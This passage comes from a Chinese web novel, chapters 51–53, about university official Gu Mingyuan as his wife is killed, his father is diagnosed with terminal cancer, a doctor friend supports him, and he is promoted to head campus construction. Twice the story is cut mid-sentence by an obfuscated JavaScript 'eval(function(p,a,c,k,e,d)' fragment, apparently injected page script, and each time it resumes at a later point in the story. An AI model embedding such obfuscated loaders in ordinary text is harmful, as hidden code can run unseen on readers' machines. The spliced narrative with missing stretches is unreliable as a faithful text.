顾明远心中涌起一股暖流。兄弟的情谊,也许是这冰冷时刻唯一的慰藉。 尽管大家都在有意包裹,但吴雅娟出事的消息好似凛冬的寒风,很快就无孔不入地传遍了楚江大学的角落。被瞒了数天的吴若甫夫妇得知消息后,选择了闭门不出,他们受不了被人嘲笑的目光。更让夫妻二人担心的,顾明远会不会借此决然提出离婚,毕竟错全都在自己女儿这一边。为此,每天下班时间未到,万素琴就让方姨给顾明远打去电话,要他带着安安回家吃晚饭,目的是要替女儿留住顾明远的心。 与吴家那片愁云惨淡截然相反,历史学院院长秦冰纶在听闻吴雅娟出事后,内心翻涌起一股近乎病态的快意。这种快意既有对骄横的吴雅娟下场不堪的幸灾乐祸,也有重获接近那个受此大辱身心俱创男人机会的兴奋。虽然,她心里清楚,以顾明远过往不解风情的表现以及自己可能走进班子的现实,这样的兴奋不过是一种扭曲的□□而已。 蔡勋的敲打似乎起了作用。接下来的两个月里,刘强再也没有踏进过楚江大学的校门。在岳母万素琴的眼泪纷飞和余丹凤的软硬兼施下,为女儿安安计,身心俱疲的顾明远暂时压制住心中离婚的念头,像一叶疲惫的孤舟暂时搁浅在名为“家”的荒滩上。他自己甚至都不知道,这缓一缓是苟且的喘息,还是风暴前的死寂。 51. 危情时刻 让顾明远哭笑不得的是,自家后院失火、一片狼藉之际,钟德君却找上门来,央求他出面撮合与前妻吴雅洁复婚。 架不住钟德君一口一个“兄弟情谊”的软磨硬泡,那热络又带着几分无赖的架势,让焦头烂额的顾明远最终还是硬着头皮应承下来。 两人约在“阿芳酒楼”碰面商量细节。 短短两年光景,钟德君已俨然一副成功人士派头——座驾换成了流线型的进口豪车,住所搬进了城中最炙手可热的别墅区。可当夜宴散场,巨大的空虚有时便如潮水般涌来,将他淹没在真皮沙发的柔软里。上个月,一份体检报告不期而至。"弱精症"三个字像一记闷棍,敲碎了他用金钱堆砌的骄傲。深夜,他对着那份薄薄的诊断书发怔。冰凉的威士忌滑过喉咙,却浇不灭心底升腾的恐慌。这些年对吴雅洁的冷落与报复,此刻都化作尖锐的讽刺,一下下扎在心上。得知前妻至今仍然单身,钟德君熄灭已久的心思,如同被春风拂过的枯草,又开始悄悄萌生出生机来。 走进酒楼,看见老板娘阿芳迟迟未露面,钟德君便站在大厅开始咋呼起来。顾明远觉得尴尬,连忙低声劝阻。楼上正在打麻将的阿芳闻讯慌忙下楼赔着不是。钟德君故作不依。阿芳懂得钟德君的心思,将新招的“头牌”领班专门过来陪他。在温言软语中,钟德君那点虚张声势的气焰迅速消退。 落座后,看着他浓重的黑眼圈,顾明远揶揄道:“昨晚又‘快活’去了?” 钟德君盯着领班曼妙的身姿,嘴角勾起一丝得意:“人生苦短,及时行乐。你们这些象牙塔里的书生,哪懂这外面世界的精彩呀?” 顾明远心中不悦,反唇相讥:“外头世界既然如此精彩,那你今天找我干啥?继续潇洒嘛,重回‘围城’干嘛?”说罢,作势起身要走。 钟德君慌忙拉住顾明远,油嘴滑舌地往回找补:“咳,哥们开个玩笑嘛。说实话,再好的山珍海味,天天吃也就腻味了。嗨,不满老顾你说,有时还是想念家里的味道呀。” “我看你这些年快要把自己撑爆了。” “所以这不找老兄你帮忙,和你姨妹重修旧好嘛。” 顾明远心中一片苦涩。若在以往,他或许还有底气去找吴雅洁帮钟德君做做工作。可如今自己的婚姻已是千疮百孔,摇摇欲坠,哪还有颜面和信心去替别人说项?他怏怏地说道:“凭你钟大老板如今的财大气粗,还用得着我帮忙?勾勾手指,吴雅洁还不乖乖回来了?” 钟德君知道顾明远在嘲讽自己,脸是露出一丝恳切来:“唉,外头那些招数对吴雅洁没用。你不知道吗,她那人轴得很……再说,老顾,你是我兄弟,又是她姐夫,就凭你那张嘴,肯定会让她回心转意的。” 顾明远沉默着不说话。钟德君见状,连忙拽住他的胳膊轻轻摇晃,语气近乎哀求:"老顾,你就帮兄弟这一回。你是知道的,雅洁向来最听你的劝。她总说你这个姐夫为人正派,处事稳妥。你现在总不能见死不救吧?" 这番话让顾明远心头一颤,他抬眼看向钟德君说道:"德君,你要明白,婚姻不是儿戏。"他的声音低沉而有力:"别看当初雅洁逼着离婚,其实她的心里一直难过得很。我劝你想好了,是不是真心想和雅洁好好过日子,若是存着三分热度、七分随意的念头,我劝你趁早打消这个主意。省得我去费口舌。" 钟德君连连点头,脸上的嬉笑的神色也收敛了几分。顾明远这才松口:"罢了,我这次答应你一回。不过我得声明,成与不成,终究还要看雅洁自己的心意。这样行了吧?也算对得起你这瓶茅台了。" 钟德君趁热打铁:“还没完呢。你现在给雅洁打个电话,把她约到这儿来。” “你自己不能打?” “嗨,她早把我拉黑了。不瞒你说,我都去她家和办公室堵了几回,她硬是躲着不见。你的电话肯定好使。” 被架得下不来台的顾明远只得给吴雅洁打去了电话。还未说话,吴雅洁倒先开了口:“姐夫,我正要找你呢。” 这句“正要找你”让顾明远心头一紧,预感她必是为姐姐吴雅娟的事而来,忙叮嘱钟德君,吴雅洁若提及自己和吴雅娟的婚姻务必帮忙岔开。 约莫两支烟的工夫,包房的门被推开,吴雅洁的身影出现在门口。她脸上原本带着见到姐夫顾明远时惯有的温和笑意,但目光一扫到屋内的钟德君,脸上的笑意瞬间冻结、碎裂,取而代之的是一种毫不掩饰的嫌恶,狠狠剐了钟德君一眼,她甚至连多停留一秒都不愿意,抬脚就要离开。 “雅洁!”顾明远急忙起身,几步追到门口,伸手拦住她。 吴雅洁猛地甩开顾明远的手,胸口因怒气而微微起伏,压制着的声音里透着寒意:“顾明远你什么意思?和别人合起伙来骗我?” 顾明远自知理亏,放软了语气半是劝解半是恳求:“来都来了,好歹听他说两句,就两句,成不成?”他几乎是半推半拉,才将浑身紧绷、写满抗拒的吴雅洁勉强重新带进了房间。 钟德君手忙脚乱地在皮包里翻找,掏出一把崭新的宝马车钥匙小心翼翼地推到吴雅洁面前:“雅洁,我知道以前亏欠你太多。这辆代步车,就当是我的一点心意。你记得吧,以前我可是向你保证过,总有一天让你坐上宝马的……。” 吴雅洁眼神明显亮了一下,目光在宝马车钥匙的金属光泽间游移,指尖在宝马钥匙上停留了一瞬,故作矜持地“嗤”了一声,语气里带着故作的疏离:“听说你现在是赚了几个钱。难怪,脸盘都跟着见长了。” 顾明远已经看出吴雅洁眼中的动摇,会心一笑,轻轻将钥匙都放进她掌心:“浪子回头金不换。德君这次,是真心想和你好好过日子。” 钟德君见状,连忙抓住这难得的机会表白:“雅洁,我知道从前确实混账,让你受尽了委屈。现在我什么都有了,回到家连个能说话的人都没有。雅洁,给我个机会,让我把欠你的都补上,我们重新开始,好好过日子,行吗?” 顾明远没料到钟德君会说出这一番肉麻却让人感动的话来,连忙将酒杯塞进两人的手中鼓动道:“来,你们喝个交杯酒,事情就这么定了。” 喝完交杯酒,看见钟德君脸上浮起得意的颜色,吴雅洁斜睨了他一眼:“小样。你可别得意,这事我得考虑考虑。今天没时间搭理你,我是来找姐夫说事的。” 不等钟德君说话,吴雅洁语气焦灼而急切:“顾明远,我劝你还是和吴雅娟离了吧。” 她的话让顾明远大吃一惊、如堕深渊。 钟德君却一脸高兴:“瞧瞧,还是我们家雅洁最明事理。这叫伸张正义大义灭亲。我举双手赞成!” 吴雅洁横了钟德君一眼:“你给老子滚一边克(去)。”借着气咻咻地将吴雅娟和刘强还在藕断丝连端了出来。 “轰”的一声,顾明远只觉得全身血液都往脑门上涌。残存的一丝幻想几近破灭,他匆匆撂下一句“你们聊”,便踉踉跄跄地逃离了酒楼。 心烦意乱的顾明远无处可去,径直去了马骉家。一听原由,性如烈火的马骉跳起来又要去找刘强算账,被王菡和顾明远死死拉住。 三人相对无言,一时无计可施。王菡忽然放下茶杯:“要不……请那位蔡所长想个法子找个由头,把姓刘的弄进去关个一年半载?” 顾明远没想到一直比较理智的王菡也会出此“狠招”,怔了片刻后摇头道:“这……这是知法违法。万一露馅,后果不堪设想。再说蔡勋已经调到分局去了,绝不可能这样做的。” 顾明远的顾虑也让王菡犹豫起来。正一筹莫展之际,顾明远的手机响了。办公室主任桂先锋通知他明天陪同周濂校长去外省考察调研校园扩建的事宜。 这件事前天路遇周濂时听他说过,只不过没想到这么快。现在顾明远心里一团乱麻,担心走后家里出现状,便在电话里试探换人的可能性,却找来桂先锋的一顿嘲讽:“顾处长这架子有点大啊。多少人挤破头都想加入进来却没有机会,你倒好,还翘起盘子来了?你是周校长钦点的,我可管不了。” 顾明远深知桂先锋两面三刀的习性,不敢再多言语,赶紧表态答应下来。 时下江城高校正在掀起“跑马圈地”的热潮。楚江大学要不要买地扩建的争论已经在校园里持续半年之久。书记戈大垣早就对区区六百亩校园极为不满,主张一次买足两千亩扩建新校园。校长周濂一直坚持“大学非大楼之谓实乃大师之谓”的理念,以财力严重不足反对大规模买地建设。只不过这两年在戈大垣面前输多赢少,因此勉强答应两人各带一队去外地考察调研再行讨论的提议。 戈大垣对周濂并不放心,特意安排办公室主任桂先锋陪同他出行,名为服务照顾,实则掌握动态。 作为基建处副处长的顾明远,一直在密切关注学校关于买地扩建的争论,并且已经有了一些自己的思考。只是碍于自己的副处长身份,一直不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“两千亩”这个数字与戈大垣如出一撤,周濂有些警觉起来,他甚至怀疑顾明远已经受到了戈大垣的同化,不待他说完,便遽然打断,不高兴的态度毫不掩饰地流露出来:“你说得轻巧。钱呢?两千亩地,加上基础配套,没二十个亿下不来。钱从天上掉下来?” 顾明远早有准备,刚头口说出“置换”二字,桂先锋远远地飞奔而来,神情慌张将周濂拉到了远离顾明远的地方说话。 看见周濂眉头如同被无形的绳索绞得越来越深,难以言喻的目光不时瞟向自己时,顾明远的心莫名地沉了下去。 果然,不一会儿功夫,周濂急急走了过来,宽厚的手掌重重落在他肩头,声音努力维持着平稳:“明远,小吴那边出了点紧急状况。出差的事,先放一放。小桂已经安排车,一会儿送你去医院。” 坐进车里,世界仿佛瞬间被抽成真空。顾明远的头脑一片空白,甚至无法组织一个完整的念头。“紧急状况”,这几个字组合在一起,冰冷而狰狞。 车子驶过长江二桥,冰冷的钢铁桥架在窗外飞逝,江风似乎吹散了一些混沌。顾明远猛地吸了口气,颤抖着手摸出手机,拨通了吴雅洁的电话。 电话那头,背景音嘈杂得像沸腾的锅。吴雅洁的声音带着哭腔,显得有些语无伦次:“刘强……,他疯……疯了。……雅娟……正在……在江南医院……急救……。”每一个字都像淬了冰的针,狠狠刺入顾明远的心脏。 急救室门前混乱得像被飓风扫过。万素琴瘫坐在长椅上口中微弱地呢喃着“雅娟,雅娟……”;吴雅洁不停地抚拍着她的后背,嘴里机械地重复着“娘娘,没事的”这句话;余丹凤、钟德君他们急得像热锅上的蚂蚁,却又不知道如何是好。只有两名警察守在门口,用淡定的目光打量着众人。 顾明远赶到急救室不久,门上的红灯熄灭,门被推开,两名医生走了出来。走在前面的那位缓缓取下口罩,面色凝重地摇了摇头,只说了声“已经尽力了”,便匆匆地离开。 声音虽然轻微,却如同惊雷在顾明远耳边炸开。他感到脚下的大楼轰然塌陷。他身体晃了晃,嘴唇剧烈地抖动,却发不出任何声音,只是反复地、绝望地低喃出“安安”两个字。 闻讯赶来的顾小满和王菡赶紧上前一左一右搀扶住几乎虚脱的顾明远,让他慢慢坐到椅子上。王菡紧紧握住他冰凉的手柔声说道:“明远,我已经跟瑶瑶的班主任说好了不用住校,这段时间安安住到我家去……。” 顾明远嘴角抽搐了一下,试图回应一个感激的微笑,表情却比哭更让人心酸。顾小满生怕弟弟出现意外,赶紧让汪清早的司机将失魂落魄的顾明远直接送往马骉家安顿。 52. 冬日暖阳 家庭剧变的余波,如同一场缓慢的凌迟,让顾明远在无尽的痛苦中艰难度日。往日温馨的家,如今只剩下冰冷的回忆和女儿安安依赖的眼神。好在二姐顾小满和马骉夫妇的悉心照料如同几双有力的手,托举着他那被悲痛掏空的身躯,让他得以从绝望的深渊边缘,一点一点,艰难地向上攀爬。 女儿顾安然成了他黯淡世界里唯一的光。顾小满心疼侄女,曾提议将安安接到自己身边照顾,却被王菡坚决阻止,理由是“安安学校离她家近照顾起来方便”。 顾明远深知中考在即不能影响马璐瑶的备考。一周后,还是让女儿回到了自己身边。汪清早特批了顾小满半个月假期,让她住到弟弟家方便照应。 夜深人静,独对孤灯,十年的婚姻生活如同被强行拉开的抽屉,所有物件哗啦啦倾倒而出,一片狼藉。哪里有什么琴瑟和鸣的浪漫温馨?不过是自己一厢情愿编织的幻梦泡影。那些记忆中偶尔闪现的温存、短暂的炽热,不过是漫长冰河期里几颗倏忽而逝的流星,光亮微弱,转瞬便被黑暗吞噬。更多的时候,是无休止的精神冷战和口角热战。两个灵魂在绝望中互相消耗,彼此折磨,直至耗尽最后一丝温情与力气。睡不着觉的时候,他常常望着床头柜上那张难得的一家三口“全家福”出神。照片里,吴雅娟脸上的表情是那样生硬、疏离,女儿安安的笑容是那样灿烂、耀眼,这反而刺得顾明远的心脏阵阵抽痛。如今,婚姻这艘船,终究在日复一日的磨损与对抗中无可挽回地触礁沉没。 这些灰暗的日子里,一件小小的“怪事”成了顾明远晦暗生活中的一抹亮光。每天,总会有一个陌生的号码定时发来一两条短信,内容简洁,却让人温暖: “你有一百个理由哭泣,但也有一千个理由抬起头来。” “放心,前行的路上,你不会是一个人战斗的。” “记得《水手》吗?‘风雨中,这点痛算什么,擦干泪,不要怕,至少我们还有梦。’” 起初,顾明远只当是信号错递了陌生人的关怀,并未理会。可那短信偏如檐下归燕,每日准时衔着只言片语落在手机屏幕上。文字有种沉静的坚定,像是对着他一人心湖投下的量身定制的石子。渐渐地,一个身影在他的脑海中浮现,轮廓模糊却带着熟悉的温婉气息。这个念头甫一升起,便像投入静湖的石子,激起圈圈涟漪。他极力抑制主自己任何一点超越界限的暖昧猜想,觉得那像是对亡魂的背叛以及品德的嘲弄。 于是,他刻意忽略那短信里偶尔流露出的、似乎能对应上她的细微痕迹,强迫自己将其视为某个善心的人程式化的关怀。他贪婪地汲取着那字里行间传递过来的点滴温度,用以滋润自己干涸龟裂的心田,只是将这匿名的温暖当作黑夜中一束来源不明、却足以让他不致沉沦的光。 最让他感到安慰的是,女儿安安天性中的那份明朗与坚韧,似乎形成了一道无形的屏障,给了顾明远莫大的安慰和鼓励。 为了安安,为了所有牵挂他的人,顾明远告诉自己:必须站起来,面对破碎,收拾残局。 在自我的艰难调节和周围人的无私帮助下,顾明远的生活表面上按下了“正常”键。这天,正和二姐顾小满商量要不要将这场惊天变故告知远在乡下的父亲顾有余时,桌上的电话猝然响起。门房值班室来电,说是有个乡下老头正在校门口口口声声要找“顾明远处长”。 姐弟二人对视一眼,几乎同时起身,一路向校门口狂奔而去。 果然不出所料,“乡下老头”正是他们的父亲顾有余。 顾明远以为父亲知道了吴雅娟的事,刚说了句“您知道啦”,顾小满赶紧搀扶着顾有余,有意将他和弟弟隔开。 顾有余身形消瘦而佝偻,咳嗽更加频繁而剧烈。在顾小满一路追问下,原来是老家早上有人开车来武汉办事,顾有余一时兴起,便搭了便车。 顾小满眼泪“吧嗒”地抱怨起来:“您……怎么也不提前打个电话啊。这路上要是出点什么事可咋办?” 见到儿女的顾有余心里高兴,满不在乎地说道:“怕个鬼,反正都要见阎王的人了。就是想安安想得心慌啊。” 听说父亲没有吃早饭,顾明远赶紧拉着他准备去“阿芳酒家”,却被他一把扯住:“花那冤枉钱干啥!我吃也吃不了多少,回家下碗面条就行呀。” 走进儿子的家,顾有余似乎看出了异样,眼睛四下里搜寻一圈后轻声问道:“这都大中午了,你媳妇不在家呀?” 顾明远的脸色瞬间僵住。顾小满反应极快,几乎是强行将父亲带进了里屋。门被轻轻关上,也暂时隔绝了客厅里令人窒息的寂静与哀伤。 过了好一会儿,里屋的门被重新打开。顾小满搀扶着父亲慢慢走出来时,顾有余的眼角明显湿润,脸上的皱纹里填满了悲伤,仰起头对着空无一物的天花板,深深地、长长地吸了一口气,随即一阵像拉破风箱般的、撕心裂肺的剧烈咳嗽。咳嗽稍平,他用一种异常平静却又蕴含着巨大悲怆的声音缓缓说道:“老话讲,天要下雨,娘要嫁人。有啥法子呢?这都是命数,躲不掉的命数啊。”说罢,浑浊的眼里放出如炬的光来,突然带着一种近乎忘我的神情朗诵起苏东坡的词来,当念到“回首向来萧瑟处,归去,也无风雨也无晴”时,戛然而止,大声说道:“没啥大不了的,明儿,大不了从头再来。” 话音刚落,又是一阵仿佛要将五脏六腑都咳出来的剧烈咳嗽,震得他瘦弱的身躯几乎站立不稳。 顾明远鼻子一酸,猛地转身冲进洗手间,“砰”地一声反锁上门,将脊背紧紧抵在冰凉的门板上,任凭压抑了太久太久的泪水,如同开闸的洪水汹涌地流淌。父亲的叮呤,像一把沉重而温暖的锤子,狠狠敲打着他的心房。 收拾好情绪后,姐弟俩经过商量,决定不打招呼,将父亲送往医院检查。当说到江南医院时,顾小满用奇怪的眼神看了弟弟一眼。顾明远知道的她的意思,趁着她和父亲聊天的间隙,犹豫了片刻,还是拨通了林思齐的电话。 这是遭遇变故后,顾明远第一次拨打林思齐的电话。 电话一通就被迅速接听,仿佛电话那头的人一直就拿着手机在等待。带着一种早已了然的温和关切,林思齐没有多余的寒暄与询问,只有一句轻轻的问候:“顾老师,你还好吧?”这声问候,像一片轻盈的羽毛温柔地拂过他伤痕累累的心尖。 顾明远心头一暖,努力让自己的声音听起来平稳些:“谢谢你,我……还好。” 林思齐的声音带着一种抚慰人心的节奏:“过去的,既然无法重来,就让它留在身后。我们能做的,也是必须做的,就是向前看。顾老师,请一定相信,现实中会有很多朋友可以依靠的。”她的话像暗夜里一盏坚定亮着的不灭灯火,悄然驱散着顾明远心空的黑暗与寒冷。 顾明远鼓起勇气说出了请她帮忙联系专家的请求。林思齐没有半分推诿,简单地询问了病人的病情和症状后,答应联系院里鼎鼎大名的呼吸科专家关渭城教授。 焦急地等待了二十分钟后,林思齐的电话打了过来,说是已经和关教授约好明天上午的时间,并提出自己开车过来接。顾明远心中感激,却不太想麻烦林思齐,推挡了两回,看见她的态度似乎非常坚决,便不再坚持。一旁的顾小满欣喜万分,嫌弟弟啰嗦,一把抢过手机欢快地说道:“谢谢林医生,明天我们在家等你。” 顾明远嗔怪地看了二姐一眼:“你这……也太不客气了。” 顾小满见过林思齐两回,对她的印象既深又好,她朝弟弟做了个鬼脸笑道:“你呀,就是个书呆子,懂什么呀。” 第二天早晨,林思齐的“雷诺”轿车准时停在了楼下。顾有余起初是死活不肯去医院,架不住林思齐亲自上楼挽着胳膊的劝说,只好嘴里人嘟囔着,顺从地下了楼。 因为又林思齐的面子,关渭城第一个接诊了顾有余。冗长的检查、漫长的等待,时间在充斥着消毒水气味的走廊里仿佛凝固了一般,每一分每一秒都煎熬着顾小满姐弟的心。当诊室的门终于“吱呀”一声从里面打开时,林思齐示意焦灼不安的姐弟二人进去说话。 满头银发、神情严肃的关教授示意顾小满先将满脸紧张的父亲带到外面休息,单独将顾明远留了下来。打开墙壁上的阅片灯,冰冷的白色灯光骤然亮起,肺部影像在灯箱上清晰得刺眼。关渭城用笔指着那片浓重的阴影,语气有些凝重:“和去年在你们县医院拍的片子对比,阴影面积明显扩大了不少哇。” 顾明远的心瞬间沉了下去,声音不自觉地发紧:“关教授,您看……这情况,该怎么办?” 关渭城没有直接回答,反而问起了病人的经济情况。顾明远明白这是在为后续可能的治疗方案做铺垫和评估,便毫不犹豫说道:“钱不是问题。只要能治好,怎么样都行。” 关渭城闻言,目光若有所思地在林思齐脸上短暂停留了一瞬,然后转向顾明远坦诚地说道:“既然小齐说你是好朋友,那我就跟你直说了。你父亲的情况已经是晚期,要治好已经没有可能。摆在面前的有两条路:一是住院治疗,积极干预,化疗或者靶向药,过程会比较辛苦,效果嘛……,乐观的也就是延长三五个月。二是回家静养,靠口服药物尽量控制症状,减轻痛苦,但你们需要随时……做好心理准备。” “住院。我们住院治疗。”顾明远几乎是脱口而出,仿佛抓住最后一根救命稻草。 关渭城微微颔首,继续冷静地陈述现实:“肺癌晚期的治疗费用,确实不低。住院费、药费、各种支持治疗,加起来可能十几万甚至更多,这个当然也得要有心理准备。另外,”他顿了顿,目光扫向门外:“刚才你父亲对住院似乎非常抵触。要不你们先去做通他的思想工作?否则,强行治疗,可能适得其反。” 顾明远心事重重地走出诊室。关渭城叫住了正准备跟出去的林思齐,脸上的严肃变得柔和了许多:“小齐啊,你这位朋友孝心难得,但他可能没完全领会我的意思。以病人目前的身体底子和精神状态,我担心他很难耐受住标准化疗的强度。”说罢,轻轻拍了拍林思齐的肩膀:“要不……你再去和他们沟通沟通?” 这下林思齐犯了难。思忖片刻,还是下定决心,悄悄把顾小满拉到走廊尽头,将关渭城的判断和建议如实作了转告。顾小满比弟弟更了解父亲的身体状况,深知父亲已是油尽灯枯的态势。她拉着林思齐的手说:“林医生,谢谢你跟我说实话。放心,我去做我弟弟的工作,还是让我爸安心回家养着吧。”林思齐正要离开,却被顾小满拽住胳膊,压低声音问道:“林医生,刚才在诊室门口,我从玻璃上看见你递了个小盒子给关教授?你这不是为我爸的事破费了吧?” 顾小满的细心让林思齐吃了一惊,微微一怔便立刻反应过来,俏皮地笑了起来:“顾姐姐的眼睛真尖啊。不过你可千万别想偏了,那就是一枚普通的印章,关教授喜欢书法,我托人帮他刻的,正好今天到了而已。”她顿了顿,又认真补充道:“这事你千万别告诉顾老师,免得他误会。” 顾小满不听解释,迅速从口袋里掏出一个早已准备好的信封要往林思齐的白大褂里塞,吓得林思齐像是被烙铁烫到手一样,拿起信封精准而轻坚定地塞回顾小满的口袋中,脸上带着一种佯装生气的表情:“顾姐姐,你这是要害苦我的呀。医院有严格的纪律规定的,再说,帮朋友的忙这不是本份嘛。快收起来,不然你们的事情我不管了。” 林思齐微蹙着柳叶眉,脸颊泛起淡淡的红晕,佯怒的表情显得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林思齐浅笑着瞄了顾明远一眼,带着点俏皮地说道:“我来挑地方,顾老师没意见吧?” 顾明远不敢说出半个“不”字。刚刚卸掉了“住院”这个沉重包袱的顾有余,似乎有了胃口,催着大家快走。顾明远和二姐一起搀着父亲,越过湖堤,来到了一个叫“房陵人家”的酒楼。 林思齐似乎对这家酒楼很是熟悉。大家落座后,她根本没看服务员递过来的菜单,直接如数家珍般报出几个菜名:“一份清炖土鸡汤,要炖得烂烂的;一份清炒莼菜;一份柏杨豆干炒腊肉,腊肉少放点,豆干多些;一份粉蒸排骨,要蒸得透透的;一份清炒时蔬;再来个鱼头豆腐汤吧,豆腐嫩一点。”她一边点着,一边不忘向服务员反复强调“少油少盐,务必清淡”。点菜完毕,她转过头,带点专业的口吻给顾小满做起了解释:“土鸡汤最是温补元气,适合顾伯伯现在体虚;莼菜生长在水里,性凉,能清热润肺,对咳嗽有痰好;柏杨豆干营养价值高,也好消化;粉蒸排骨软烂入味,不费牙口;鱼头豆腐汤也温和滋补。以后你们在家给顾伯伯准备饮食,照着这个方向,注意清淡、软烂,少食多餐就好。” 说来奇怪,近来食欲极差的顾有余,竟难得地胃口大开。接过林思齐为他盛的金黄澄亮、香气扑鼻的土鸡汤,他几乎是迫不及待地接过去,不一会儿就喝得见了底。顾小满将这一切看在眼里,喜在心头,赶紧在桌子底下用脚轻轻碰了碰弟弟,又用眼神示意他给林思齐盛汤夹菜。顾明远有些犹豫,刚刚笨拙地拿起汤勺,顾小满嫌他磨蹭,干脆“夺权”,亲自舀起汤锅里的鸡腿稳稳放进林思齐的碗中。 林思齐莞尔一笑,用公筷轻轻夹起鸡腿放进顾有余的碗里:“鸡肉炖得烂好消化,让顾伯伯多吃点,对提高抵抗力有好处。我嘛,得注意保持身材呢。”说罢,不经意地望着对面的顾明远眨了一下眼睛。 眼看吃得差不多了,顾小满借口去洗手间,悄悄溜到吧台准备结账。没想到服务员却笑眯眯地指着林思齐座位的方向,说:“那位女士点餐前就已经预付过钱啦,还特意交代了不让收你们的钱。” 顾小满心里顿时像被熨斗熨过一般妥帖舒坦,暗道这林医生真是个水晶心肝玻璃人儿——不仅模样生得标致,待人接物更是滴水不漏。这一番不着痕迹的体贴,比十句客套话都让人受用。 送走林思齐,顾明远看着一脸“得逞”笑容、心情大好的二姐,忍不住出言调侃:“看不出来啊,顾小满同志,在武汉才漂了两年,这人情往来,搞得很老练嘛!” 顾小满扬起下巴,脸上是藏不住的得意:“那是。你当你二姐这两年在外头是白混的?”说罢话锋一转,意味深长地瞟了弟弟一眼:“你这又是教授又是处长的,读书做事是把好手,其他方面可真是有些没开窍啊。” 顾明远听出了弦外之音。他何尝对林思齐的知性、温婉、善解人意和真心关怀没有感知?只是,家里和心情一团乱麻,丧妻之痛尚在、父亲病情堪忧、女儿需要呵护……。千头万绪像一道道无形的枷锁缠绕着他。此刻,他更愿意,或者说,更胆怯地,将林思齐仅仅视作一位能够理解、可以共鸣、值得珍惜的异性知己。在顾明远看来,维持着这样一份恰到好处的距离,才是对彼此最妥帖、也最安全的相处方式。 此刻顾有余的心情像车窗外的晴朗天空一样爽快。刚才不仅成功躲过了住院“劫难”,还白吃了一顿这么有档次的大餐,这够他回去后吹上十天半月的牛了。车子经过湖滨路时,顾有余忽然提出下车走走。 正是十二月天气,阳光明媚和煦,空气中多了几分暖意。午后的东湖,氤氲的水汽并未完全散尽,丝丝缕缕如轻纱薄绡般缭绕在宽阔平静的湖面上。三两只白色的水鸟,就在这朦胧的雾幕里时隐时现,低徊盘旋,嬉戏鸣叫,偶尔掠过水面,划破一池宁静。对面的磨山,沉稳苍翠其间热烈地点缀着的枫红、杏黄、桕紫,如同一幅巨大的、出自自然之手的油画,从山巅酣畅淋漓地倾泻而下,在澄澈如镜的湖水中投下如梦似幻的倒影。天光、云影、山色、水波,交相辉映,构成一幅静谧而充满生机、冷峻中蕴含着温暖的冬日水墨长卷,静静地展现在这一家人顾有余面前。他们似乎忘记了病痛的愁绪,完全沉浸在这水天一色的美妙情境中。 53. 正面交锋 数月激烈的争论与反复论证后,戈大垣与周濂终于在买地问题上达成了共识。戈大垣从最初坚持的两千亩后退了一大步,周濂则从反对买地前进了一大步,最终双方握手,敲定购置一千亩土地扩建新校园。 新校园建设是楚江大学建校史上最大的一项工程,不仅耗资巨大,更是一场需要数年耐心的漫长跋涉。距离基建处长周青松退休只剩十天,谁将接过这副重担,成了当下最紧迫的问题。 令人意外的是,平日里很少能形成默契的两位主要领导,这次却不约而同地将目光投向了同一个人——现任副处长顾明远。 当戈大垣将决定任命顾明远为基建处处长的消息通报给副校长孟超时,不啻于在他耳边炸响了一颗响雷。 回到办公室,孟超脸上的笑容瞬间消失无踪,取而代之的是一片铁青。他将手中的文件夹摔在办公桌上,发出“砰”的一声闷响。那支用了多年的签字笔,无意间被紧攥着的手硬生生折断,碎片刺入手心带来的刺痛远不及此刻心中怒火的十分之一。 一年来,孟超苦心孤诣地扶持韦江龙,早已将其视为自己掌控未来新校园建设这庞大工程最得力、最听话的“白手套”。就在上周,周濂甚至当面点头同意了他对韦江龙的提名。眼看着周青松退休在即,本以为韦江龙可以水到渠成地接任,没想到,戈大垣和周濂竟联手搞了这么一出“突然袭击”。 孟超心里跟明镜似的清楚:戈、周此举,无非是想在炙手可热的基建领域安插人来制衡他孟超的影响力。 愤怒归愤怒。现实冰冷而残酷——官大一级压死人,在楚江大学,戈大垣和周濂共同决定的事,几乎没有转圜的余地。 一股深深的无力感夹杂着被轻视的愤怒,几乎要将孟超吞噬。现在他必须思考的,不是如何推翻这个决定,而是在既定事实下,如何最大限度地确保自己的权威不被轻视,如何确保这个眼里只有规则不懂江湖规矩的顾明远不至于脱离他的掌控,甚至能为他所用。 与此同时,主角顾明远竟然对任命一无所知。当组织部在电话里告知他被党委任命为基建处处长的决定时,电话里的每一个字都像一记重锤狠狠砸在他的心上。他握着听筒的手瞬间变得冰凉,整个人僵直地坐在椅子上半天不能动弹。 他的第一反应只有两个字:荒谬!从被转岗到基建处那天起,顾明远无时无刻不在做着回到历史学院重执教鞭的准备。尽管在基建处工作得尽心尽力,但他骨子里始终认为自己只是个“临时工”,不可能在基建处扎根耗掉自己的专业梦想。现在是春季,他甚至下意识地看了看墙上的日历,怀疑今天是不是愚人节。 短暂的震惊和失望过后,随之而来的是排山倒海般的顾虑和惶恐。新校园建设,投资数以亿计,牵涉的利益方盘根错节,其复杂性远超他之前接触的任何一项工作。规划设计,需要极高的专业审美和宏观视野;招标投标,是各方势力角逐、充满陷阱的雷区;施工管理,涉及安全、质量、进度,千头万绪;还有那庞大资金的审批与拨付,每一笔都重若千钧风险难控……。所有这些,可不是在课堂上讲错一个历史典故,课后纠正一下即可。万一决策失误,给学校造成巨大损失,他顾明远如何担待得起? 思绪纷乱时,韦江龙那张总是带着几分讨好的脸清晰地浮现在眼前。一股强烈的、近乎于“窃取”的愧疚感,一下子攫住了顾明远的的心。平心而论,韦江龙才是最合适的基建处处长人选,他在基建处深耕多年,专业能力扎实,处理实际事务经验丰富,而且任劳任怨、勤勤恳恳。自己本就是个“空降兵”、“门外汉”,如今硬生生截断了别人的晋升之路,这不是鸠占鹊巢吗? 